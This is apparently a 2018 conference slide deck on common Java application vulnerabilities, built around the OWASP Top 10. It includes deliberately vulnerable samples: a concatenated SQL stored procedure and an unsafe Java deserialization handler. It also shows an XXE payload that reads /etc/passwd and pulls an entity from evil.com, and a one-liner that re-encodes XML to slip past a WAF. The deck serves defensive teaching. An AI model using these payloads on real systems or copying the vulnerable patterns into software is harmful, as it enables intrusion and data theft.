Security problems in Java applications

Warning: vulnerabilities ahead

Vlatko Kosturjak (@k0st), JavaCro'18, Crveni otok, 9th of May, 2018

Agenda

  • Introduction
  • OWASP TOP 10
  • Most common Java vulns
  • Systematic approach
  • Summary
  • Questions and answers

45 minutes

About me

  • CTO at Diverto
  • Open source (security) developer
  • Java experience
    • programming
    • attacking java programs
    • building security controls

Anything problematic?

OWASP TOP 10 2017

  • A1-Injection
  • A2-Broken Authentication (Session Management)
  • A3-Sensitive data exposure
  • A4-XML External Entities (XXE)
  • A5-Broken Access Control
  • A6-Security Misconfiguration
  • A7-Cross Site Scripting (XSS)
  • A8-Insecure Deserialization
  • A9-Using Components with Known Vulnerabilities
  • A10-Insufficient Logging and Monitoring

OWASP TOP 10

Already in OWASP TOP 10

  • A1-Injection
  • A2-Broken Authentication (Session Management)
  • A3-Sensitive data exposure
  • A5-Broken Access Control
  • A6-Security Misconfiguration
  • A7-Cross Site Scripting (XSS)
  • A9-Using Components with Known Vulnerabilities

"New" vulnerabilities

  • A4-XML External Entities (XXE)
  • A8-Insecure Deserialization
  • A10-Insufficient Logging and Monitoring

Typical application

Simple flow

Injection

  • General problem
    • Mixing data and code
    • Injecting inputs to existing code
  • Different classes
    • Database: SQL injection
    • XML: XML injection
    • LDAP: LDAP injection
    • OS: Command injection
    • ...

Injection

SQL injection

XML/XPATH injection

SQLi from web service

Stored procedures


CREATE PROCEDURE LoginUser 
    @username varchar(32), 
    @password varchar(14) 
AS 
BEGIN 
    DECLARE @sql nvarchar(1024); 
    SET @sql = 'SELECT * FROM UserTable 
                WHERE UserName = ''' + @username + ''' 
                AND Password = ''' + @password + ''' '; 
    EXEC(@sql); 
END 
GO
						    

Stored procedures


    SET @sql = CONCAT (@query, @username);
						    

Injection fixes

Cross site scripting

  • General problem
    • Mixing data and code
    • Input mixing with HTML/JS context
  • Different classes
    • Reflective
    • Stored

Cross Site Scripting(XSS)

Reflective XSS

Stored XSS

XSS and inputs

Cross site scripting

  • Impact
    • Stealing user session
    • Stealing user content
    • Capturing keyboard (sniffing)
    • Impersonating user

XSS fixes

  • General
    • Escape output coming from any input
      • That includes database you don't control
    • You have to tell your framework
      • frameworks have f() to help you
    • Depending on context
      • You will want to check OWASP ESAPI
  • Reference

XML eXternal Entity (XXE)

  • General problem
    • Parsing XML files without hardening
    • XML eXternal entities or DTD enabled
  • Usual inputs
    • Web service
    • XML RPC
    • User upload XML
    • XML import
    • ...

Google XXE

Facebook XXE

Uber XXE

XML eXternal Entity (XXE)

XXE Common scenario

Common XXE

Simple Example


<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE content [

    <!ENTITY ent1 SYSTEM "file:///etc/passwd" >
    <!ENTITY % ent2 PUBLIC "any_text" "http://evil.com/blah" >
    %ent2;
    
    %ent3;
]>
<root>&ent1;&ent2;</root>
						   

XXE Impacts

  • Impact
    • Reading files
    • Reading remote files
    • Capturing hashes (sniffing)
    • Port scanning
    • Remote Code Execution (RCE)
      • rare, but possible

WAF/blacklist bypass


echo -n '<?xml version="1.0" encoding="UTF-16BE"' > evil.xml
echo -n '?> <a>1337</a>' | iconv -f UTF-8 -t UTF-16BE >> evil.xml
						    
  • https://mohemiv.com/all/evil-xml/
  • XXE fixes

    • General
      • Disable External entities
        • Usually enabled by default
      • Disable DTDs
        • Usually enabled by default
      • Depending on context
        • You will want to check OWASP ESAPI
    • Reference

    Deserialization issues

    • General problem
      • Deserializing data from untrusted input
      • Framework/lib deserializing in background
    • Inputs
      • Browser
      • Socket
      • Web Service
      • Database
      • ...

    Deserialization attack

    Deserialize from Browser

    Deserialize from Web service

    Simple Example

    
    public String register(@FormParam("object") String serstr) {
    byte b[] = Base64.decodeBase64(serstr);
    ByteArrayInputStream bi = new ByteArrayInputStream(b);
    ObjectInputStream si = new ObjectInputStream(bi);
    Object obj = si.readObject();
    }
    						   

    Deserialization Impacts

    • Impact
      • Changing fields
        • which should not be changed
      • Remote Code Execution (RCE)
        • with permissions of application

    Deserialization Fixes

    • General
      • Do not deserialize untrusted input
        • Check your components as well
      • Look ahead deserialization
        • Better than nothing
      • Removing gadgets
        • Not real fix, only impact mitigation
    • Reference

    Logging and monitoring

    • General problem
      • Application does not log actions
      • Applications logs too much
    • Actions
      • Privileged actions
      • Users actions
      • User login
      • User logout
      • ...

    Logging/Monitoring Impact

    • Impact
      • Availability
        • Application is working?
      • Incident response
        • Who have done this?
      • Non repudation
        • I did not do this

    Logging recommendations

    • General
      • Log all relevant security events
        • and monitor!
      • Store it remotely and securely
        • Attacker can't change it
      • Data retention
        • especially if sensitive
    • Reference

    Simple example

    • Display user last login on login
      • user will report if suspicious
        • provide easy link to report
      • display last X logins
        • User can check himself

    OWASP OpenSAMM

    Application Security Verification Standard

    OWASP ASVS

    Summary

    • "Old" vulns still here
      • Old vulns are still vulns
    • Vulns with high impact
      • XXE
      • deserialization
    • Systematic approach
      • OpenSAMM in organization
      • OWASP ASVS as security requirements
      • OWASP TOP 10 for awareness

    Thanks on listening

    ?

    Any questions?

    @k0st

    Security problems in Java applications

    By k0st

    Security problems in Java applications

    Presented at JavaCro'18. Crveni otok, 9th of May, 2018.

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